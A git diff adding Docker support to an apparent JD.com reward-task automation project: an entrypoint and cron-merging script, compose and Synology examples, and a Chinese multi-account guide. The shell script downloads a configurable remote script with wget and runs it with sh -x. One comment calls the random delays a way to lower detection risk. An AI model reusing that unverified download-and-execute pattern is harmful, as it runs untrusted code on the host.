"chat_id=$TG_USER_ID&text=恭喜🎉你获得feature容器jd_bot交互所需环境已配置安装已完成,并启用。请发送 /help 查看使用帮助。如需禁用请在docker-compose.yml配置 DISABLE_BOT_COMMAND=True" >>/dev/null + +fi + +#echo "暂停更新配置,不要尝试删掉这个文件,你的容器可能会起不来" +#echo '' >/scripts/logs/pull.lock + +echo "定义定时任务合并处理用到的文件路径..." +defaultListFile="/scripts/docker/$DEFAULT_LIST_FILE" +echo "默认文件定时任务文件路径为 ${defaultListFile}" +mergedListFile="/scripts/docker/merged_list_file.sh" +echo "合并后定时任务文件路径为 ${mergedListFile}" + +echo "第1步将默认定时任务列表添加到并后定时任务文件..." +cat $defaultListFile >$mergedListFile + +echo "第2步判断是否存在自定义任务任务列表并追加..." +if [ $CUSTOM_LIST_FILE ]; then + echo "您配置了自定义任务文件:$CUSTOM_LIST_FILE,自定义任务类型为:$CUSTOM_LIST_MERGE_TYPE..." + # 无论远程还是本地挂载, 均复制到 $customListFile + customListFile="/scripts/docker/custom_list_file.sh" + echo "自定义定时任务文件临时工作路径为 ${customListFile}" + if expr "$CUSTOM_LIST_FILE" : 'http.*' &>/dev/null; then + echo "自定义任务文件为远程脚本,开始下载自定义远程任务。" + wget -O $customListFile $CUSTOM_LIST_FILE + echo "下载完成..." + elif [ -f /scripts/docker/$CUSTOM_LIST_FILE ]; then + echo "自定义任务文件为本地挂载。" + cp /scripts/docker/$CUSTOM_LIST_FILE $customListFile + fi + + if [ -f "$customListFile" ]; then + if [ $CUSTOM_LIST_MERGE_TYPE == "append" ]; then + echo "合并默认定时任务文件:$DEFAULT_LIST_FILE 和 自定义定时任务文件:$CUSTOM_LIST_FILE" + echo -e "" >>$mergedListFile + cat $customListFile >>$mergedListFile + elif [ $CUSTOM_LIST_MERGE_TYPE == "overwrite" ]; then + echo "配置了自定义任务文件:$CUSTOM_LIST_FILE,自定义任务类型为:$CUSTOM_LIST_MERGE_TYPE..." + cat $customListFile >$mergedListFile + else + echo "配置配置了错误的自定义定时任务类型:$CUSTOM_LIST_MERGE_TYPE,自定义任务类型为只能为append或者overwrite..." + fi + else + echo "配置的自定义任务文件:$CUSTOM_LIST_FILE未找到,使用默认配置$DEFAULT_LIST_FILE..." + fi +else + echo "当前只使用了默认定时任务文件 $DEFAULT_LIST_FILE ..." +fi + +echo "第3步判断是否配置了随机延迟参数..." +if [ $RANDOM_DELAY_MAX ]; then + if [ $RANDOM_DELAY_MAX -ge 1 ]; then + echo "已设置随机延迟为 $RANDOM_DELAY_MAX , 设置延迟任务中..." + sed -i "/\(jd_bean_sign.js\|jd_blueCoin.js\|jd_joy_reward.js\|jd_joy_steal.js\|jd_joy_feedPets.js\|jd_car_exchange.js\)/!s/node/sleep \$((RANDOM % \$RANDOM_DELAY_MAX)); node/g" $mergedListFile + fi +else + echo "未配置随机延迟对应的环境变量,故不设置延迟任务..." +fi + +echo "第4步判断是否配置自定义shell执行脚本..." +if [ 0"$CUSTOM_SHELL_FILE" = "0" ]; then + echo "未配置自定shell脚本文件,跳过执行。" +else + if expr "$CUSTOM_SHELL_FILE" : 'http.*' &>/dev/null; then + echo "自定义shell脚本为远程脚本,开始下载自定义远程脚本。" + wget -O /scripts/docker/shell_script_mod.sh $CUSTOM_SHELL_FILE + echo "下载完成,开始执行..." + echo "#远程自定义shell脚本追加定时任务" >>$mergedListFile + sh -x /scripts/docker/shell_script_mod.sh + echo "自定义远程shell脚本下载并执行结束。" + else + if [ ! -f $CUSTOM_SHELL_FILE ]; then + echo "自定义shell脚本为docker挂载脚本文件,但是指定挂载文件不存在,跳过执行。" + else + echo "docker挂载的自定shell脚本,开始执行..." + echo "#docker挂载自定义shell脚本追加定时任务" >>$mergedListFile + sh -x $CUSTOM_SHELL_FILE + echo "docker挂载的自定shell脚本,执行结束。" + fi + fi +fi + +echo "第5步删除不运行的脚本任务..." +if [ $DO_NOT_RUN_SCRIPTS ]; then + echo "您配置了不运行的脚本:$DO_NOT_RUN_SCRIPTS" + arr=${DO_NOT_RUN_SCRIPTS//&/ } + for item in $arr; do + sed -ie '/'"${item}"'/d' ${mergedListFile} + done + +fi + +echo "第6步设定下次运行docker_entrypoint.sh时间..." +echo "删除原有docker_entrypoint.sh任务" +sed -ie '/'docker_entrypoint.sh'/d' ${mergedListFile} + +# 12:00前生成12:00后的cron,12:00后生成第二天12:00前的cron,一天只更新两次代码 +if [ $(date +%-H) -lt 12 ]; then + random_h=$(($RANDOM % 12 + 12)) +else + random_h=$(($RANDOM % 12)) +fi +random_m=$(($RANDOM % 60)) + +echo "设定 docker_entrypoint.sh cron为:" +echo -e "\n# 必须要的默认定时任务请勿删除" >>$mergedListFile +echo -e "${random_m} ${random_h} * * * docker_entrypoint.sh >> /scripts/logs/default_task.log 2>&1" | tee -a $mergedListFile + +echo "第7步 自动助力" +if [ -n "$ENABLE_AUTO_HELP" ]; then + #直接判断变量,如果未配置,会导致sh抛出一个错误,所以加了上面一层 + if [ "$ENABLE_AUTO_HELP" = "true" ]; then + echo "开启自动助力" + #在所有脚本执行前,先执行助力码导出 + sed -i 's/node/ . \/scripts\/docker\/auto_help.sh export > \/scripts\/logs\/auto_help_export.log \&\& node /g' ${mergedListFile} + else + echo "未开启自动助力" + fi +fi + +echo "第8步增加 |ts 任务日志输出时间戳..." +sed -i "/\( ts\| |ts\|| ts\)/!s/>>/\|ts >>/g" $mergedListFile + +echo "第9步执行proc_file.sh脚本任务..." +sh /scripts/docker/proc_file.sh + +echo "第10步加载最新的定时任务文件..." +if [[ -f /usr/bin/jd_bot && -z "$DISABLE_SPNODE" ]]; then + echo "bot交互与spnode 前置条件成立,替换任务列表的node指令为spnode" + sed -i "s/ node / spnode /g" $mergedListFile + #conc每个cookies独立并行执行脚本示例,cookies数量多使用该功能可能导致内存爆掉,默认不开启 有需求,请在自定义shell里面实现 + #sed -i "/\(jd_xtg.js\|jd_car_exchange.js\)/s/spnode/spnode conc/g" $mergedListFile +fi +crontab $mergedListFile + +echo "第11步将仓库的docker_entrypoint.sh脚本更新至系统/usr/local/bin/docker_entrypoint.sh内..." +cat /scripts/docker/docker_entrypoint.sh >/usr/local/bin/docker_entrypoint.sh + +echo "发送通知" +export NOTIFY_CONTENT="" +cd /scripts/docker +node notify_docker_user.js diff --git a/docker/docker_entrypoint.sh b/docker/docker_entrypoint.sh new file mode 100644 index 0000000..6c9852c --- /dev/null +++ b/docker/docker_entrypoint.sh @@ -0,0 +1,57 @@ +#!/bin/sh +set -e + +#获取配置的自定义参数 +if [ -n "$1" ]; then + run_cmd=$1 +fi + +( +if [ -f "/scripts/logs/pull.lock" ]; then + echo "存在更新锁定文件,跳过git pull操作..." +else + echo "设定远程仓库地址..." + cd /scripts + git remote set-url origin "$REPO_URL" + git reset --hard + echo "git pull拉取最新代码..." + git -C /scripts pull --rebase + echo "npm install 安装最新依赖" + npm install --prefix /scripts +fi +) || exit 0 + +# 默认启动telegram交互机器人的条件 +# 确认容器启动时调用的docker_entrypoint.sh +# 必须配置TG_BOT_TOKEN、TG_USER_ID, +# 且未配置DISABLE_BOT_COMMAND禁用交互, +# 且未配置自定义TG_API_HOST,因为配置了该变量,说明该容器环境可能并能科学的连到telegram服务器 +if [[ -n "$run_cmd" && -n "$TG_BOT_TOKEN" && -n "$TG_USER_ID" && -z "$DISABLE_BOT_COMMAND" && -z "$TG_API_HOST" ]]; then + ENABLE_BOT_COMMAND=True +else + ENABLE_BOT_COMMAND=False +fi + +echo "------------------------------------------------执行定时任务任务shell脚本------------------------------------------------" +#测试 +# sh /jd_docker/docker/default_task.sh "$ENABLE_BOT_COMMAND" "$run_cmd" +#合并 +sh /scripts/docker/default_task.sh "$ENABLE_BOT_COMMAND" "$run_cmd" +echo "--------------------------------------------------默认定时任务执行完成---------------------------------------------------" + +if [ -n "$run_cmd" ]; then + # 增加一层jd_bot指令已经正确安装成功校验 + # 以上条件都满足后会启动jd_bot交互,否还是按照以前的模式启动,最大程度避免现有用户改动调整 + if [[ "$ENABLE_BOT_COMMAND" == "True" && -f /usr/bin/jd_bot ]]; then + echo "启动crontab定时任务主进程..." + crond + echo "启动telegram bot指令交主进程..." + jd_bot + else + echo "启动crontab定时任务主进程..." + crond -f + fi + +else + echo "默认定时任务执行结束。" +fi diff --git a/docker/example/custom-append.yml b/docker/example/custom-append.yml new file mode 100644 index 0000000..eeaa8ed --- /dev/null +++ b/docker/example/custom-append.yml @@ -0,0 +1,62 @@ +jd_scripts: + image: lxk0301/jd_scripts + # 配置服务器资源约束。此例子中服务被限制为使用内存不超过200M以及cpu不超过0.2(单核的20%) + # 经过实际测试,建议不低于200M + # deploy: + # resources: + # limits: + # cpus: '0.2' + # memory: 200M + container_name: jd_scripts + restart: always + volumes: + - ./my_crontab_list.sh:/scripts/docker/my_crontab_list.sh + - ./logs:/scripts/logs + tty: true + # 因为更换仓库地址可能git pull的dns解析不到,可以在配置追加hosts + extra_hosts: + - "gitee.com:180.97.125.228" + - "github.com:13.229.188.59" + - "raw.githubusercontent.com:151.101.228.133" + environment: + #脚本更新仓库地址,配置了会切换到对应的地址 + - REPO_URL=git@gitee.com:lxk0301/jd_scripts.git + # 注意环境变量填写值的时候一律不需要引号(""或者'')下面这些只是示例,根据自己的需求增加删除 + #jd cookies + # 例: JD_COOKIE=pt_key=XXX;pt_pin=XXX; + # 例(多账号): JD_COOKIE=pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX; + - JD_COOKIE= + #微信server酱通知 + - PUSH_KEY= + #Bark App通知 + - BARK_PUSH= + #telegram机器人通知 + - TG_BOT_TOKEN= + - TG_USER_ID= + #钉钉机器人通知 + - DD_BOT_TOKEN= + - DD_BOT_SECRET= + #企业微信机器人通知 + - QYWX_KEY= + #京东种豆得豆 + - PLANT_BEAN_SHARECODES= + #京东农场 + # 例: FRUITSHARECODES=京东农场的互助码 + - FRUITSHARECODES= + #京东萌宠 + # 例: PETSHARECODES=东东萌宠的互助码 + - PETSHARECODES= + # 宠汪汪的喂食数量 + - JOY_FEED_COUNT= + #东东超市 + # - SUPERMARKET_SHARECODES= + #兑换多少数量的京豆(20,或者1000京豆,或者其他奖品的文字) + # 例: MARKET_COIN_TO_BEANS=1000 + - MARKET_COIN_TO_BEANS= + #如果设置了 RANDOM_DELAY_MAX ,则会启用随机延迟功能,延迟随机 0 到 RANDOM_DELAY_MAX-1 秒。如果不设置此项,则不使用延迟。 + #并不是所有的脚本都会被启用延迟,因为有一些脚本需要整点触发。延迟的目的有两个,1是降低抢占cpu资源几率,2是降低检查风险(主要是1) + #填写数字,单位为秒,比如写为 RANDOM_DELAY_MAX=30 就是随机产生0到29之间的一个秒数,执行延迟的意思。 + - RANDOM_DELAY_MAX=120 + #使用自定义定任务追加默认任务之后,上面volumes挂载之后这里配置对应的文件名 + - CUSTOM_LIST_FILE=my_crontab_list.sh + diff --git a/docker/example/custom-overwrite.yml b/docker/example/custom-overwrite.yml new file mode 100644 index 0000000..dd0a6a5 --- /dev/null +++ b/docker/example/custom-overwrite.yml @@ -0,0 +1,62 @@ +jd_scripts: + image: lxk0301/jd_scripts + # 配置服务器资源约束。此例子中服务被限制为使用内存不超过200M以及cpu不超过0.2(单核的20%) + # 经过实际测试,建议不低于200M + # deploy: + # resources: + # limits: + # cpus: '0.2' + # memory: 200M + container_name: jd_scripts + restart: always + volumes: + - ./my_crontab_list.sh:/scripts/docker/my_crontab_list.sh + - ./logs:/scripts/logs + tty: true + # 因为更换仓库地址可能git pull的dns解析不到,可以在配置追加hosts + extra_hosts: + - "gitee.com:180.97.125.228" + - "github.com:13.229.188.59" + - "raw.githubusercontent.com:151.101.228.133" + environment: + #脚本更新仓库地址,配置了会切换到对应的地址 + - REPO_URL=git@gitee.com:lxk0301/jd_scripts.git + # 注意环境变量填写值的时候一律不需要引号(""或者'')下面这些只是示例,根据自己的需求增加删除 + #jd cookies + # 例: JD_COOKIE=pt_key=XXX;pt_pin=XXX; + #例(多账号): JD_COOKIE=pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX; + - JD_COOKIE= + #微信server酱通知 + - PUSH_KEY= + #Bark App通知 + - BARK_PUSH= + #telegram机器人通知 + - TG_BOT_TOKEN= + - TG_USER_ID= + #钉钉机器人通知 + - DD_BOT_TOKEN= + - DD_BOT_SECRET= + #企业微信机器人通知 + - QYWX_KEY= + #京东种豆得豆 + - PLANT_BEAN_SHARECODES= + #京东农场 + # 例: FRUITSHARECODES=京东农场的互助码 + - FRUITSHARECODES= + #京东萌宠 + # 例: PETSHARECODES=东东萌宠的互助码 + - PETSHARECODES= + # 宠汪汪的喂食数量 + - JOY_FEED_COUNT= + #东东超市 + # - SUPERMARKET_SHARECODES= + #兑换多少数量的京豆(20,或者1000京豆,或者其他奖品的文字) + # 例: MARKET_COIN_TO_BEANS=1000 + - MARKET_COIN_TO_BEANS= + #如果设置了 RANDOM_DELAY_MAX ,则会启用随机延迟功能,延迟随机 0 到 RANDOM_DELAY_MAX-1 秒。如果不设置此项,则不使用延迟。 + #并不是所有的脚本都会被启用延迟,因为有一些脚本需要整点触发。延迟的目的有两个,1是降低抢占cpu资源几率,2是降低检查风险(主要是1) + #填写数字,单位为秒,比如写为 RANDOM_DELAY_MAX=30 就是随机产生0到29之间的一个秒数,执行延迟的意思。 + - RANDOM_DELAY_MAX=120 + #使用自定义定任务覆盖默认任务,上面volumes挂载之后这里配置对应的文件名,和自定义文件使用方式为overwrite + - CUSTOM_LIST_FILE=my_crontab_list.sh + - CUSTOM_LIST_MERGE_TYPE=overwrite diff --git a/docker/example/default.yml b/docker/example/default.yml new file mode 100644 index 0000000..3ff4995 --- /dev/null +++ b/docker/example/default.yml @@ -0,0 +1,59 @@ +jd_scripts: + image: lxk0301/jd_scripts + # 配置服务器资源约束。此例子中服务被限制为使用内存不超过200M以及cpu不超过0.2(单核的20%) + # 经过实际测试,建议不低于200M + # deploy: + # resources: + # limits: + # cpus: '0.2' + # memory: 200M + container_name: jd_scripts + restart: always + volumes: + - ./logs:/scripts/logs + tty: true + # 因为更换仓库地址可能git pull的dns解析不到,可以在配置追加hosts + extra_hosts: + - "gitee.com:180.97.125.228" + - "github.com:13.229.188.59" + - "raw.githubusercontent.com:151.101.228.133" + environment: + #脚本更新仓库地址,配置了会切换到对应的地址 + - REPO_URL=git@gitee.com:lxk0301/jd_scripts.git + # 注意环境变量填写值的时候一律不需要引号(""或者'')下面这些只是示例,根据自己的需求增加删除 + #jd cookies + # 例: JD_COOKIE=pt_key=XXX;pt_pin=XXX; + # 例(多账号): JD_COOKIE=pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX; + - JD_COOKIE= + #微信server酱通知 + - PUSH_KEY= + #Bark App通知 + - BARK_PUSH= + #telegram机器人通知 + - TG_BOT_TOKEN= + - TG_USER_ID= + #钉钉机器人通知 + - DD_BOT_TOKEN= + - DD_BOT_SECRET= + #企业微信机器人通知 + - QYWX_KEY= + #京东种豆得豆 + - PLANT_BEAN_SHARECODES= + #京东农场 + # 例: FRUITSHARECODES=京东农场的互助码 + - FRUITSHARECODES= + #京东萌宠 + # 例: PETSHARECODES=东东萌宠的互助码 + - PETSHARECODES= + # 宠汪汪的喂食数量 + - JOY_FEED_COUNT= + #东东超市 + # - SUPERMARKET_SHARECODES= + #兑换多少数量的京豆(20,或者1000京豆,或者其他奖品的文字) + # 例: MARKET_COIN_TO_BEANS=1000 + - MARKET_COIN_TO_BEANS= + + #如果设置了 RANDOM_DELAY_MAX ,则会启用随机延迟功能,延迟随机 0 到 RANDOM_DELAY_MAX-1 秒。如果不设置此项,则不使用延迟。 + #并不是所有的脚本都会被启用延迟,因为有一些脚本需要整点触发。延迟的目的有两个,1是降低抢占cpu资源几率,2是降低检查风险(主要是1) + #填写数字,单位为秒,比如写为 RANDOM_DELAY_MAX=30 就是随机产生0到29之间的一个秒数,执行延迟的意思。 + - RANDOM_DELAY_MAX=120 diff --git a/docker/example/docker多账户使用独立容器使用说明.md b/docker/example/docker多账户使用独立容器使用说明.md new file mode 100644 index 0000000..4fd879d --- /dev/null +++ b/docker/example/docker多账户使用独立容器使用说明.md @@ -0,0 +1,83 @@ +### 使用此方式,请先理解学会使用[docker办法一](https://github.com/LXK9301/jd_scripts/tree/master/docker#%E5%88%9B%E5%BB%BA%E4%B8%80%E4%B8%AA%E7%9B%AE%E5%BD%95jd_scripts%E7%94%A8%E4%BA%8E%E5%AD%98%E6%94%BE%E5%A4%87%E4%BB%BD%E9%85%8D%E7%BD%AE%E7%AD%89%E6%95%B0%E6%8D%AE%E8%BF%81%E7%A7%BB%E9%87%8D%E8%A3%85%E7%9A%84%E6%97%B6%E5%80%99%E5%8F%AA%E9%9C%80%E8%A6%81%E5%A4%87%E4%BB%BD%E6%95%B4%E4%B8%AAjd_scripts%E7%9B%AE%E5%BD%95%E5%8D%B3%E5%8F%AF)的使用方式 +> 发现有人好像希望不同账户任务并发执行,不想一个账户执行完了才能再执行另一个,这里写一个`docker办法一`的基础上实现方式,其实就是不同账户创建不同的容器,他们互不干扰单独定时执行自己的任务。 +配置使用起来还是比较简单的,具体往下看 +### 文件夹目录参考 +![image](https://user-images.githubusercontent.com/6993269/97781779-885ae700-1bc8-11eb-93a4-b274cbd6062c.png) +### 具体使用说明直接在图片标注了,文件参考[图片下方](https://github.com/LXK9301/jd_scripts/new/master/docker#docker-composeyml%E6%96%87%E4%BB%B6%E5%8F%82%E8%80%83),配置完成后的[执行命令]() +![image](https://user-images.githubusercontent.com/6993269/97781610-a1af6380-1bc7-11eb-9397-903b47f5ad6b.png) +#### `docker-compose.yml`文件参考 +```yaml +version: "3" +services: + jd_scripts1: #默认 + image: lxk0301/jd_scripts + # 配置服务器资源约束。此例子中服务被限制为使用内存不超过200M以及cpu不超过 0.2(单核的20%) + # 经过实际测试,建议不低于200M + # deploy: + # resources: + # limits: + # cpus: '0.2' + # memory: 200M + restart: always + container_name: jd_scripts1 + tty: true + volumes: + - ./logs1:/scripts/logs + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + # 互助助码等参数可自行增加,如下。 + # 京东种豆得豆 + # - PLANT_BEAN_SHARECODES= + + jd_scripts2: #默认 + image: lxk0301/jd_scripts + restart: always + container_name: jd_scripts2 + tty: true + volumes: + - ./logs2:/scripts/logs + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + jd_scripts4: #自定义追加默认之后 + image: lxk0301/jd_scripts + restart: always + container_name: jd_scripts4 + tty: true + volumes: + - ./logs4:/scripts/logs + - ./my_crontab_list4.sh:/scripts/docker/my_crontab_list.sh + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + - CUSTOM_LIST_FILE=my_crontab_list.sh + jd_scripts5: #自定义覆盖默认 + image: lxk0301/jd_scripts + restart: always + container_name: jd_scripts5 + tty: true + volumes: + - ./logs5:/scripts/logs + - ./my_crontab_list5.sh:/scripts/docker/my_crontab_list.sh + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + - CUSTOM_LIST_FILE=my_crontab_list.sh + - CUSTOM_LIST_MERGE_TYPE=overwrite + +``` +#### 目录文件配置好之后在 `jd_scripts_multi`目录执行 + `docker-compose up -d` 启动; + `docker-compose logs` 打印日志; + `docker-compose pull` 更新镜像; + `docker-compose stop` 停止容器; + `docker-compose restart` 重启容器; + `docker-compose down` 停止并删除容器; + ![image](https://user-images.githubusercontent.com/6993269/97781935-8fcec000-1bc9-11eb-9d1a-d219e7a1caa9.png) + + diff --git a/docker/example/jd_scripts.custom-append.syno.json b/docker/example/jd_scripts.custom-append.syno.json new file mode 100644 index 0000000..a2da16f --- /dev/null +++ b/docker/example/jd_scripts.custom-append.syno.json @@ -0,0 +1,65 @@ +{ + "cap_add" : [], + "cap_drop" : [], + "cmd" : "", + "cpu_priority" : 50, + "devices" : null, + "enable_publish_all_ports" : false, + "enable_restart_policy" : true, + "enabled" : true, + "env_variables" : [ + { + "key" : "PATH", + "value" : "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" + }, + { + "key" : "CDN_JD_DAILYBONUS", + "value" : "true" + }, + { + "key" : "JD_COOKIE", + "value" : "pt_key=xxx;pt_pin=xxx;" + }, + { + "key" : "PUSH_KEY", + "value" : "" + }, + { + "key" : "CUSTOM_LIST_FILE", + "value" : "my_crontab_list.sh" + } + ], + "exporting" : false, + "id" : "3a2f6f27c23f93bc104585c22569c760cc9ce82df09cdb41d53b491fe1d0341c", + "image" : "lxk0301/jd_scripts", + "is_ddsm" : false, + "is_package" : false, + "links" : [], + "memory_limit" : 0, + "name" : "jd_scripts", + "network" : [ + { + "driver" : "bridge", + "name" : "bridge" + } + ], + "network_mode" : "default", + "port_bindings" : [], + "privileged" : false, + "shortcut" : { + "enable_shortcut" : false + }, + "use_host_network" : false, + "volume_bindings" : [ + { + "host_volume_file" : "/docker/jd_scripts/my_crontab_list.sh", + "mount_point" : "/scripts/docker/my_crontab_list.sh", + "type" : "rw" + }, + { + "host_volume_file" : "/docker/jd_scripts/logs", + "mount_point" : "/scripts/logs", + "type" : "rw" + } + ] +} diff --git a/docker/example/jd_scripts.custom-overwrite.syno.json b/docker/example/jd_scripts.custom-overwrite.syno.json new file mode 100644 index 0000000..e4e05fb --- /dev/null +++ b/docker/example/jd_scripts.custom-overwrite.syno.json @@ -0,0 +1,69 @@ +{ + "cap_add" : [], + "cap_drop" : [], + "cmd" : "", + "cpu_priority" : 50, + "devices" : null, + "enable_publish_all_ports" : false, + "enable_restart_policy" : true, + "enabled" : true, + "env_variables" : [ + { + "key" : "PATH", + "value" : "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" + }, + { + "key" : "CDN_JD_DAILYBONUS", + "value" : "true" + }, + { + "key" : "JD_COOKIE", + "value" : "pt_key=xxx;pt_pin=xxx;" + }, + { + "key" : "PUSH_KEY", + "value" : "" + }, + { + "key" : "CUSTOM_LIST_FILE", + "value" : "my_crontab_list.sh" + }, + { + "key" : "CUSTOM_LIST_MERGE_TYPE", + "value" : "overwrite" + } + ], + "exporting" : false, + "id" : "3a2f6f27c23f93bc104585c22569c760cc9ce82df09cdb41d53b491fe1d0341c", + "image" : "lxk0301/jd_scripts", + "is_ddsm" : false, + "is_package" : false, + "links" : [], + "memory_limit" : 0, + "name" : "jd_scripts", + "network" : [ + { + "driver" : "bridge", + "name" : "bridge" + } + ], + "network_mode" : "default", + "port_bindings" : [], + "privileged" : false, + "shortcut" : { + "enable_shortcut" : false + }, + "use_host_network" : false, + "volume_bindings" : [ + { + "host_volume_file" : "/docker/jd_scripts/my_crontab_list.sh", + "mount_point" : "/scripts/docker/my_crontab_list.sh", + "type" : "rw" + }, + { + "host_volume_file" : "/docker/jd_scripts/logs", + "mount_point" : "/scripts/logs", + "type" : "rw" + } + ] +} diff --git a/docker/example/jd_scripts.syno.json b/docker/example/jd_scripts.syno.json new file mode 100644 index 0000000..189b047 --- /dev/null +++ b/docker/example/jd_scripts.syno.json @@ -0,0 +1,83 @@ +{ + "cap_add" : null, + "cap_drop" : null, + "cmd" : "", + "cpu_priority" : 0, + "devices" : null, + "enable_publish_all_ports" : false, + "enable_restart_policy" : true, + "enabled" : false, + "env_variables" : [ + { + "key" : "PATH", + "value" : "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" + }, + { + "key" : "CDN_JD_DAILYBONUS", + "value" : "true" + }, + { + "key" : "JD_COOKIE", + "value" : "pt_key=AAJfjaNrADASxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxx5;" + }, + { + "key" : "TG_BOT_TOKEN", + "value" : "13xxxxxx80:AAEkNxxxxxxzNf91WQ" + }, + { + "key" : "TG_USER_ID", + "value" : "12xxxx206" + }, + { + "key" : "PLANT_BEAN_SHARECODES", + "value" : "" + }, + { + "key" : "FRUITSHARECODES", + "value" : "" + }, + { + "key" : "PETSHARECODES", + "value" : "" + }, + { + "key" : "SUPERMARKET_SHARECODES", + "value" : "" + }, + { + "key" : "CRONTAB_LIST_FILE", + "value" : "crontab_list.sh" + } + ], + "exporting" : false, + "id" : "18af38bc0ac37a40e4b9608a86fef56c464577cc160bbdddec90155284fcf4e5", + "image" : "lxk0301/jd_scripts", + "is_ddsm" : false, + "is_package" : false, + "links" : [], + "memory_limit" : 0, + "name" : "jd_scripts", + "network" : [ + { + "driver" : "bridge", + "name" : "bridge" + } + ], + "network_mode" : "default", + "port_bindings" : [], + "privileged" : false, + "shortcut" : { + "enable_shortcut" : false, + "enable_status_page" : false, + "enable_web_page" : false, + "web_page_url" : "" + }, + "use_host_network" : false, + "volume_bindings" : [ + { + "host_volume_file" : "/docker/jd_scripts/logs", + "mount_point" : "/scripts/logs", + "type" : "rw" + } + ] +} diff --git a/docker/example/multi.yml b/docker/example/multi.yml new file mode 100644 index 0000000..a02de0d --- /dev/null +++ b/docker/example/multi.yml @@ -0,0 +1,62 @@ +version: "3" +services: + jd_scripts1: #默认 + image: lxk0301/jd_scripts + # 配置服务器资源约束。此例子中服务被限制为使用内存不超过200M以及cpu不超过 0.2(单核的20%) + # 经过实际测试,建议不低于200M + # deploy: + # resources: + # limits: + # cpus: '0.2' + # memory: 200M + restart: always + container_name: jd_scripts1 + tty: true + volumes: + - ./logs1:/scripts/logs + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + # 互助助码等参数可自行增加,如下。 + # 京东种豆得豆 + # - PLANT_BEAN_SHARECODES= + + jd_scripts2: #默认 + image: lxk0301/jd_scripts + restart: always + container_name: jd_scripts2 + tty: true + volumes: + - ./logs2:/scripts/logs + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + jd_scripts4: #自定义追加默认之后 + image: lxk0301/jd_scripts + restart: always + container_name: jd_scripts4 + tty: true + volumes: + - ./logs4:/scripts/logs + - ./my_crontab_list4.sh:/scripts/docker/my_crontab_list.sh + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + - CUSTOM_LIST_FILE=my_crontab_list.sh + jd_scripts5: #自定义覆盖默认 + image: lxk0301/jd_scripts + restart: always + container_name: jd_scripts5 + tty: true + volumes: + - ./logs5:/scripts/logs + - ./my_crontab_list5.sh:/scripts/docker/my_crontab_list.sh + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + - CUSTOM_LIST_FILE=my_crontab_list.sh + - CUSTOM_LIST_MERGE_TYPE=overwrite diff --git a/docker/notify_docker_user.js b/docker/notify_docker_user.js new file mode 100644 index 0000000..7ca2b0e --- /dev/null +++ b/docker/notify_docker_user.js @@ -0,0 +1,20 @@ +const notify = require('../sendNotify'); +const fs = require('fs'); +const notifyPath = '/scripts/logs/notify.txt'; +async function image_update_notify() { + if (fs.existsSync(notifyPath)) { + const content = await fs.readFileSync(`${notifyPath}`, 'utf8');//读取notify.txt内容 + if (process.env.NOTIFY_CONTENT && !content.includes(process.env.NOTIFY_CONTENT)) { + await notify.sendNotify("⚠️Docker镜像版本更新通知⚠️", process.env.NOTIFY_CONTENT); + await fs.writeFileSync(`${notifyPath}`, process.env.NOTIFY_CONTENT); + } + } else { + if (process.env.NOTIFY_CONTENT) { + notify.sendNotify("⚠️Docker镜像版本更新通知⚠️", process.env.NOTIFY_CONTENT) + await fs.writeFileSync(`${notifyPath}`, process.env.NOTIFY_CONTENT); + } + } +} +!(async() => { + await image_update_notify(); +})().catch((e) => console.log(e)) \ No newline at end of file diff --git a/docker/proc_file.sh b/docker/proc_file.sh new file mode 100644 index 0000000..89f4627 --- /dev/null +++ b/docker/proc_file.sh @@ -0,0 +1,27 @@ +#!/bin/sh + +if [[ -f /usr/bin/jd_bot && -z "$DISABLE_SPNODE" ]]; then + CMD="spnode" +else + CMD="node" +fi + +echo "处理jd_crazy_joy_coin任务。。。" 